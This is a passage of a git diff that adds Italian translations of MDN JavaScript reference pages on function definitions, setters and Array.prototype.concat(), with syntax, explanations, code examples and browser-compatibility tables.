+<p>Come tutti gli altri oggetti, un oggetto <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction" title="The GeneratorFunction constructor creates a new generator function object. In JavaScript every generator function is actually a GeneratorFunction object."><code>GeneratorFunction</code></a> può essere creato utilizzando l'operatore <code>new</code>:</p>
+
+<pre class="syntaxbox">new GeneratorFunction (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Zero o più nomi da usare come nomi formali di argomenti. Ciascun nome deve essere rappresentato da una stringa testuale che sia conforme alle norme che regolano la definizione di identificatori JavaScript validi, oppure da una lista di stringhe testuali, separate da una virgola; per esempio: "<code>x</code>", "<code>theValue</code>", oppure "<code>a,b</code>".</dd>
+</dl>
+
+<dl>
+ <dt><code>functionBody</code></dt>
+ <dd>Una stringa testuale che contenga le istruzioni Javascript comprese nella definizione della funzione.</dd>
+</dl>
+
+<p>Invocare il costruttore <code>Function</code> come funzione ( senza utilizzare l'operatore <code>new</code> ) ha lo stesso effetto di quando lo si invoca come costruttore.</p>
+
+<h2 id="I_parametri_di_una_funzione">I parametri di una funzione</h2>
+
+<div class="note">
+<p><strong>Nota:</strong> i parametri di default ed i parametri <em>rest</em> sono <em>tecnologie sperimentali</em><em>,</em> parte della proposta  ECMAScript 6, e non sono ancora completamente supportati dai browser.</p>
+</div>
+
+<h3 id="Parametri_di_default">Parametri di default</h3>
+
+<p>La sintassi per definire i valori di default dei parametri di una funzione permette di inizializzare i parametri formali con valori di default, sempre che non venga passato il valore <code>undefined</code> oppure non venga passato alcun valore. Per maggiori dettagli, vedi<a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters"> default parameters</a>.</p>
+
+<h3 id="I_parametri_Rest">I parametri <em>Rest</em></h3>
+
+<p>La sintassi per i parametri <em>rest</em> permette di rappresentare un indefinito numero di argomenti come un array. Per maggiori dettagli, vedi <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters</a>.</p>
+
+<h2 id="L'oggetto_arguments">L'oggetto <code>arguments</code></h2>
+
+<p>È possibile riferirsi agli argomenti di una funzione, all'interno della funzione, utilizzando l'oggetto <code>arguments</code>. Vedi <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>.</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a></code>: un oggetto, strutturato come un array, contenente gli argomenti passati alla funzione in esecuzione.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/callee">arguments.callee</a></code> {{Deprecated_inline}}: la funzione in esecuzione.</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/caller">arguments.caller</a></code> {{Obsolete_inline}} : la funzione che ha invocato la funzione in esecuzione.</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code>: il numero degli argomenti passati alla funzione.</li>
+</ul>
+
+<h2 id="Definire_metodi">Definire metodi</h2>
+
+<h3 id="Funzioni_Getter_e_setter">Funzioni Getter e setter</h3>
+
+<p>È possibile definire metodi getter ( accessor method: metodi per l'accesso al valore di una variabile privata ) e metodi setter ( mutator method: metodi per la modifica del valore di una variabile privata ) per qulasiasi oggetto standard built-in o per qualsiasi oggetto definito dall'utente che supporti l'aggiunta di nuove proprietà. La sintassi da usare per la definizione di metodi getter e setter utilizza la sintassi per la definizione di valori letterali.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></dt>
+ <dd>
+ <p>Lega ( bind ) una proprietà di un oggetto ad una funzione, che verrà invocata ogni volta in cui si cercherà di leggere il valore di quella proprietà.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a></dt>
+ <dd>Lega ( bind ) una proprietà di un oggetto alla funzione da invocare ogni volta in cui si cercherà di modificare il valore di quella proprietà.</dd>
+</dl>
+
+<h3 id="Sintassi_per_la_definizione_dei_metodi">Sintassi per la definizione dei metodi</h3>
+
+<div class="note">
+<p><strong>Nota:</strong> <em>le definizioni dei metodi </em>sono <em>tecnologie sperimentali</em><em>,</em> parte della proposta  ECMAScript 6, e non sono ancora completamente supportate dai browser.</p>
+</div>
+
+<p>A partire da ECMAScript 6, è possibile definire propri metodi usando una sintassi più breve, simile alla sintassi usata per i metodi getter e setter. Vedi <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a> per maggiori informazioni.</p>
+
+<pre class="brush: js">var obj = {
+  foo() {},
+  bar() {}
+};</pre>
+
+<h2 id="Il_costruttore_Function_vs._la_dichiarazione_di_funzione_vs._l'espressione_di_funzione"><code>Il costruttore</code> <code>Function</code> vs. la dichiarazione di funzione vs. l'espressione di funzione</h2>
+
+<p>Compara i seguenti esempi:</p>
+
+<p>Una funzione definita con la dichiarazione di funzione<code>:</code></p>
+
+<pre class="brush: js">function multiply(x, y) {
+   return x * y;
+}
+</pre>
+
+<p>Una <em>espressione di funzione</em> di una funzione anonima ( senza nome ), assegnata alla variabile <code>multiply:</code></p>
+
+<pre class="brush: js">var multiply = function(x, y) {
+   return x * y;
+};
+</pre>
+
+<p>Una <em>espressione di funzione</em> di una funzione chiamata <code>func_name</code> , assegnata alla variabile <code>multiply:</code></p>
+
+<pre class="brush: js">var multiply = function func_name(x, y) {
+   return x * y;
+};
+</pre>
+
+<h3 id="Differenze">Differenze</h3>
+
+<p>Tutti e tre gli esempi fanno più o meno la stessa cosa, con qualche piccola differenza:</p>
+
+<p>C'è una differenza tra il nome di una funzione e la variabile alla quale la funzione viene assegnata. Il nome di una funzione non può essere modificato, mentre la variabile alla quale viene assegnata la funzione può essere riassegnata. Il nome di una funzione può essere utilizzato solo all'interno del corpo della funzione. Tentare di utilizzarlo al di fuori del corpo della funzione genererà un errore ( oppure restituirà <code>undefined</code> se il nome della funzione era stato precedentemente dichiarato con un'istruzione <code>var </code>). Per esempio:</p>
+
+<pre class="brush: js">var y = function x() {};
+alert(x); // throws an error
+</pre>
+
+<p>Il nome di una funzione appare anche quando la funzione viene serializzata usando il metodo <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/toString">toString applicato alla funzione</a>.</p>
+
+<p>Dall'altro lato, la variabile alla quale viene assegnata la funzione è limitata solo dal suo <em>scope</em>, la cui inclusione è garantita al momento della dichiarazione di funzione.</p>
+
+<p>Come si può vedere dal quarto esempio, il nome della funzione può essere diverso dal nome della variabile alla quale la funzione viene assegnata. I due nomi non hanno alcuna relazione tra loro. Una dichiarazione di funzione crea anche una variabile con lo stesso nome della funzione. Quindi, diversamente dalle funzioni definite attraverso un'espressione di funzione, le funzioni definite attraverso una dichiarazione di funzione offrono la possibilità di accedere ad esse attraverso il loro nome, almeno all'interno dello scope in cui erano state definite.</p>
+
+<p>Una funzione definita con il costruttore '<code>new Function'</code> non possiede un nome. Tuttavia, nel motore JavaScript <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>, la forma serializzata della funzione mostra il nome "anonymous". Per esempio, il codice <code>alert(new Function())</code> restituisce:</p>
+
+<pre class="brush: js">function anonymous() {
+}
+</pre>
+
+<p>Poichè la funzione, in realtà, non ha un nome, <code>anonymous</code> non è una variabile alla quale si potrà accedere, all'interno della funzione. Per esempio, il seguente codice restituirebbe un errore:</p>
+
+<pre class="brush: js">var foo = new Function("alert(anonymous);");
+foo();
+</pre>
+
+<p>Diversamente da quanto accade con le funzioni definite con espressioni di funzione o con il costruttore <code>Function</code>, una funzione definita con una dichiarazione di funzione può essere usata prima della dichiarazione di funzione stessa. Per esempio:</p>
+
+<pre class="brush: js">foo(); // alerts FOO!
+function foo() {
+   alert('FOO!');
+}
+</pre>
+
+<p>Una funzione definita da un'espressione di funzione eredita lo <em>scope</em> corrente. Vale a dire, la funzione forma una chiusura. Dall'altro lato, una funzione definita dal costruttore <code>Function</code> non eredita alcuno <em>scope</em>, se non quello globale ( che eredita qualsiasi funzione ).</p>
+
+<p>Le funzioni definite con espressioni di funzione e dichiarazioni di funzione vengono analizzate ( parsed ) solo una volta, mentre quelle definite con il costruttore <code>Function</code> no. Vale a dire, la stringa testuale del corpo della funzione passata al costruttore <code>Function</code> deve essere analizzata ( parsed ) ogni volta in cui viene invocato il costruttore. Sebbene un'espressione di funzione crei ogni volta una chiusura, il corpo della funzione non viene rianalizzato ( reparsed ), così le espressioni di funzione sono ancora più veloci del "<code>new Function(...)</code>". Quindi, il costruttore <code>Function</code> dovrebbe, generalmente, essere evitato dove possibile.</p>
+
+<p>Occorre tenere presente, tuttavia, che le espressioni di funzione e le dichiarazioni di funzione annidate in una funzione generata dall'analisi ( parsing ) di una stringa del costruttore <code>Function non vengono analizzate ( </code>parsed ) continuamente. Per esempio:</p>
+
+<pre class="brush: js">var foo = (new Function("var bar = \'FOO!\';\nreturn(function() {\n\talert(bar);\n});"))();
+foo(); // The segment "function() {\n\talert(bar);\n}" of the function body string is not re-parsed.</pre>
+
+<p>Una dichiarazione di funzione è molto facilmente ( e spesso, anche non intenzionalmente ) convertita in un'espressione di funzione. Una dichiarazione di funzione cessa di essere tale quando:</p>
+
+<ul>
+ <li>diventa parte di un'espressione</li>
+ <li>non è più un "elemento sorgente" di una funzione o dello stesso script. Un "elemento sorgente" ( source element ) è un'istruzione non annidata, presente nello script o nel corpo della funzione:</li>
+</ul>
+
+<pre class="brush: js">var x = 0;               // source element
+if (x == 0) {            // source element
+   x = 10;               // not a source element
+   function boo() {}     // not a source element
+}
+function foo() {         // source element
+   var y = 20;           // source element
+   function bar() {}     // source element
+   while (y == 10) {     // source element
+      function blah() {} // not a source element
+      y++;               // not a source element
+   }
+}
+</pre>
+
+<h3 id="Examples">Examples</h3>
+
+<pre class="brush: js">// function declaration
+function foo() {}
+
+// function expression
+(function bar() {})
+
+// function expression
+x = function hello() {}
+
+
+if (x) {
+   // function expression
+   function world() {}
+}
+
+
+// function declaration
+function a() {
+   // function declaration
+   function b() {}
+   if (0) {
+      // function expression
+      function c() {}
+   }
+}
+</pre>
+
+<h2 id="Definire_una_funzione_in_modo_condizionato">Definire una funzione in modo condizionato</h2>
+
+<p>Le funzioni possono essere definite in modo condizionato, utilizzando sia le istruzioni di funzione ( un'estensione prevista nello standard <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMA-262 Edition 3</a> ), sia il costruttore <code>Function</code>. Da notare, però, che le <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=609832"> istruzioni di funzione non sono più accettate in ES5 </a><span id="summary_alias_container"><span id="short_desc_nonedit_display">strict mode</span></span>. Inoltre, questa funzionalità non funziona bene attraverso più browser, quindi sarebbe meglio non farci affidamento.</p>
+
+<p>Nello script seguente, la funzione <code>zero</code> non verrà mai definita e non potrà mai essere invocata, visto che '<code>if (0)</code>' restituisce sempre false:</p>
+
+<pre class="brush: js">if (0) {
+   function zero() {
+      document.writeln("This is zero.");
+   }
+}
+</pre>
+
+<p>Se la condizione diventasse '<code>if (1)</code>', la funzione <code>zero</code> verrebbe definita.</p>
+
+<p>Nota: sebbene questo tipo di funzione sembri una dichiarazione di funzione, in realtà siamo di fronte ad una espressione ( o statement, o istruzione ), poichè la dichiarazione è annidata all'interno di un'altra istruzione. Vedi le differenze tra dichiarazioni di funzione ed espressioni di funzione.</p>
+
+<p>Nota: alcuni motori JavaScript, eslcuso <a href="/en-US/docs/SpiderMonkey">SpiderMonkey</a>, trattano, non correttamente, qualsiasi espressione di funzione in modo da assegnare loro un nome, al momento della definizione. Questo comporterebbe che la funzione <code>zero</code> sarebbe comunque definita, anche nell'eventualità che la condizione <code>if restituisse </code>sempre false. Un modo più sicuro per definire le funzioni in modo condizionato è di definirle come funzioni anonime ed assegnarle, poi, ad una variabile:</p>
+
+<pre class="brush: js">if (0) {
+   var zero = function() {
+      document.writeln("This is zero.");
+   }
+}
+</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Restituire_un_numero_formattato">Restituire un numero formattato</h3>
+
+<p>La seguente funzione restituisce ( return ) una stringa contenente la rappresentazione formattata di un numero, completato ( padded ) con degli zero iniziali.</p>
+
+<pre class="brush: js">// This function returns a string padded with leading zeros
+function padZeros(num, totalLen) {
+   var numStr = num.toString();             // Initialize return value as string
+   var numZeros = totalLen - numStr.length; // Calculate no. of zeros
+   for (var i = 1; i &lt;= numZeros; i++) {
+      numStr = "0" + numStr;
+   }
+   return numStr;
+}
+</pre>
+
+<p>Queste istruzioni invocano la funzione padZeros.</p>
+
+<pre class="brush: js">var result;
+result = padZeros(42,4); // returns "0042"
+result = padZeros(42,2); // returns "42"
+result = padZeros(5,4);  // returns "0005"
+</pre>
+
+<h3 id="Determinare_l'esistenza_di_una_funzione">Determinare l'esistenza di una funzione</h3>
+
+<p>È possibile determinare se una funzione esiste, utilizzando l'operatore <code>typeof</code>. Nell'esempio seguente, viene eseguito un test per determinare se l'oggetto <code>window</code> ha una proprietà, che sia una funzione, chiamata <code>noFunc</code>. Se così, la funzione verrà utilizzata; in caso contrario, verrà eseguita una qualsiasi altra azione.</p>
+
+<pre class="brush: js"> if ('function' == typeof window.noFunc) {
+   // use noFunc()
+ } else {
+   // do something else
+ }
+</pre>
+
+<p>Da notare che nel test <code>if</code>  viene usato un riferimento a <code>noFunc</code>  — senza usare le parentesi "()" dopo il nome della funzione: in questo modo, la funzione non viene invocata.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition. Implemented in JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>New: Arrow functions, Generator functions, default parameters, rest parameters</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#', 'function*')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Generator function</td>
+   <td>39</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Arrow function</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Generator function</td>
+   <td>{{CompatUnknown}}</td>
+   <td>39</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Arrow function</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("Functions/Arrow_functions", "Arrow functions")}}</li>
+ <li>{{jsxref("Functions/Default_parameters", "Default parameters")}}</li>
+ <li>{{jsxref("Functions/rest_parameters", "Rest parameters")}}</li>
+ <li>{{jsxref("Functions/arguments", "Arguments object")}}</li>
+ <li>{{jsxref("Functions/get", "getter")}}</li>
+ <li>{{jsxref("Functions/set", "setter")}}</li>
+ <li>{{jsxref("Functions/Method_definitions", "Method definitions")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope" title="JavaScript/Reference/Functions_and_function_scope">Functions and function scope</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/functions_and_function_scope/set/index.html b/files/it/web/javascript/reference/functions_and_function_scope/set/index.html
new file mode 100644
index 0000000000..1af0f1c79d
--- /dev/null
+++ b/files/it/web/javascript/reference/functions_and_function_scope/set/index.html
@@ -0,0 +1,214 @@
+---
+title: setter
+slug: Web/JavaScript/Reference/Functions_and_function_scope/set
+tags:
+  - Funzioni
+  - JavaScript
+  - setter
+translation_of: Web/JavaScript/Reference/Functions/set
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Il costrutto sintattico <strong><code>set</code></strong> collega una proprietà di un oggetto ad una funzione che viene chiamata quando si ha un tentativo di modifica di quella proprietà.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox notranslate">{set <em>prop</em>(<em>val</em>) { . . . }}
+{set [expression](<em>val</em>) { . . . }}</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Il nome della proprietà da collegare alla funzione data.</dd>
+</dl>
+
+<dl>
+ <dt><code>val</code></dt>
+ <dd>Un alias per la variabile che contiene il valore che si sta cercando di assegnare a <code>prop</code>.</dd>
+ <dt>expression</dt>
+ <dd>A partire da ECMAScript 6, è possibile anche usare espressioni per nomi di proprietà computate da collegare alla funzione data.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>In JavaScript, un setter può essere utilizzato per eseguire una funzione ogniqualvolta una proprietà specificata sta per essere modificata. I setters sono quasi sempre utilizzati insieme ai getters per creare un tipo di pseudo proprietà. Non è possibile avere un setter su una normale proprietà che contiene un valore.</p>
+
+<p>Alcune note da considerare quando si utilizza il costrutto sintattico <code>set</code>:</p>
+
+<div>
+<ul>
+ <li>Può avere un identificatore che può essere od un numero od una stringa;</li>
+ <li>Deve avere esattamente un parametro(consultare <a class="external" href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Incompatible <abbr title="ECMAScript 5th edition">ES5</abbr> change: literal getter and setter functions must now have exactly zero or one arguments</a> per maggiori informazioni);</li>
+ <li>Non può apparire in un letterale di un oggetto con un altro set o con un assegnamento per la stessa proprietà.<br>
+  ( <code>{ set x(v) { }, set x(v) { } }</code> e <code>{ x: ..., set x(v) { } } </code>non sono permessi )</li>
+</ul>
+</div>
+
+<p>Un setter può essere eliminato usando l'operatore <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Definire_un_setter_per_nuovi_oggetti_in_inizializzatori_di_oggetti">Definire un setter per nuovi oggetti in inizializzatori di oggetti</h3>
+
+<p>Questo snippet di codice definisce una pseudo proprietà <code>current</code> di un oggetto <code>o </code>che, una volta che vi si assegna un valore, aggiornerà <code>log </code>con quel valore:</p>
+
+<pre class="brush: js notranslate">var o = {
+  set current (str) {
+    this.log[this.log.length] = str;
+  },
+  log: []
+}
+</pre>
+
+<p>Nota che  <code>current</code> non è definito ed ogni tentativo di accedervi risulterà in un <code>undefined</code>.</p>
+
+<h3 id="Rimuovere_un_setter_con_loperatore_delete">Rimuovere un setter con l'operatore <code>delete</code></h3>
+
+<p>Se vuoi rimuovere il setter usato sopra, puoi semplicemente usare <code>delete</code>:</p>
+
+<pre class="brush: js notranslate">delete o.current;
+</pre>
+
+<h3 id="Definire_un_setter_su_oggetti_pre-esistenti_usando_defineProperty">Definire un setter su oggetti pre-esistenti usando <code>defineProperty</code></h3>
+
+<p>Per aggiungere un setter ad un oggetto pre-esistente, usa{{jsxref("Object.defineProperty()")}}.</p>
+
+<pre class="brush: js notranslate">var o = { a:0 };
+
+Object.defineProperty(o, "b", { set: function (x) { this.a = x / 2; } });
+
+o.b = 10; // Runs the setter, which assigns 10 / 2 (5) to the 'a' property
+console.log(o.a) // 5</pre>
+
+<h3 id="Usare_il_nome_di_una_proprietà_computata">Usare il nome di una proprietà computata</h3>
+
+<div class="note">
+<p><strong>Nota:</strong> Le proprietà computate sono una tecnologia sperimentale<em>,</em> parte dello standard proposto ECMAScript 6, e non sono ancora sufficientemente supportate dai browsers. L'uso di queste proprietà in ambienti che non le supportano produrrà un errore di sintassi.</p>
+</div>
+
+<pre class="brush: js notranslate">var expr = "foo";
+
+var obj = {
+  baz: "bar",
+  set [expr](v) { this.baz = v; }
+};
+
+console.log(obj.baz); // "bar"
+obj.foo = "baz";      // run the setter
+console.log(obj.baz); // "baz"
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Aggiunti i nomi di proprietà computate.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browsers">Compatibilità dei browsers</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }}</td>
+   <td>{{ CompatIE(9) }}</td>
+   <td>9.5</td>
+   <td>3</td>
+  </tr>
+  <tr>
+   <td>Nomi di proprietà computate</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("34") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("1.8.1") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Nomi di proprietà computate</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("34.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Note_specifiche_per_SpiderMonkey">Note specifiche per SpiderMonkey</h2>
+
+<ul>
+ <li>A partire da<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8.1"> JavaScript 1.8.1</a>,  i setters non sono più chiamati durante il setting delle properietà negli inizializzatori di oggetti od array.</li>
+ <li>A partire da SpiderMonkey 38, un setter con {{jsxref("Functions/rest_parameters", "rest parameter", "", 1)}} produce un {{jsxref("SyntaxError")}} come  da specifica ES6.</li>
+</ul>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Defining Getters and Setters</a> nella guida JavaScript</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/concat/index.html b/files/it/web/javascript/reference/global_objects/array/concat/index.html
new file mode 100644
index 0000000000..9d8d7d6629
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/concat/index.html
@@ -0,0 +1,188 @@
+---
+title: Array.prototype.concat()
+slug: Web/JavaScript/Reference/Global_Objects/Array/concat
+tags:
+  - Array
+  - aggiungi elementi array
+  - concat
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>concat()</strong></code> ritorna un nuovo array costituito dall'array sul quale è stato invocato (joined array) e dagli array e/o valori passati come argomenti.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <var>new_array</var> = <var>old_array</var>.concat(<var>value1</var>[, <var>value2</var>[, ...[, <var>valueN</var>]]])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>value<em>N</em></code></dt>
+ <dd>Array e/o valori da concatenare nel nuovo array. Vedere la descrizione sotto per i dettagli.</dd>
+</dl>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>Una nuova istanza di {{jsxref("Array")}}.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>concat</code> crea un nuovo array costituito dagli elementi dell'oggetto su cui è stato invocato, seguiti in ordine da ciascun argomento o dagli elementi di ciascun argomento, se quest'ultimo è esso stesso un array.</p>
+
+<p>Il metodo <code>concat</code> non altera l'oggetto <code>this</code> (l'array originale) o gli elementi passati come parametri, ma ritorna una copia degli stessi che contiene copie degli elementi costituenti gli argomenti. Gli elementi degli array originali sono copiati in quello nuovo secondo le seguenti regole:</p>
+
+<ul>
+ <li>Riferimenti agli oggetti (non gli oggetti stessi): <code>concat</code> copia nel nuovo array i riferimenti agli oggetti. Sia gli elementi degli array originali che quelli dell'array prodotto da concat puntano agli stessi oggetti. Pertanto, se uno degli oggetti cui i riferimenti puntano viene cambiato, i cambiamenti possono essere visualizzati tramite i riferimenti contenuti nell'array originale o nella copia. Ciò include gli elementi degli argomenti di tipo array che fossero array a loro volta.</li>
+</ul>
+
+<pre class="brush: js">var a = [1, 2]
+var b = {c:1}
+var d = a.concat(b)
+
+// d[2] is {c: 1}
+b.c=10
+// d[2] is now {c: 10}
+</pre>
+
+<ul>
+ <li>Tipi di dati come stringhe, numeri e booleani (non oggetti {{jsxref("Global_Objects/String", "String")}}, {{jsxref("Global_Objects/Number", "Number")}}, e {{jsxref("Global_Objects/Boolean", "Boolean")}} ): <code>concat</code> li copia per valore nel nuovo array.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> Concatenando i valori di diversi array o valori, si lasciano gli originali inalterati. Inoltre, qualsiasi operazione sui nuovi array (eccetto le operazioni su elementi che siano riferimenti a oggetti) non avrà effetto alcuno sugli originali e viceversa.</p>
+</div>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Concatenare_due_array">Concatenare due array</h3>
+
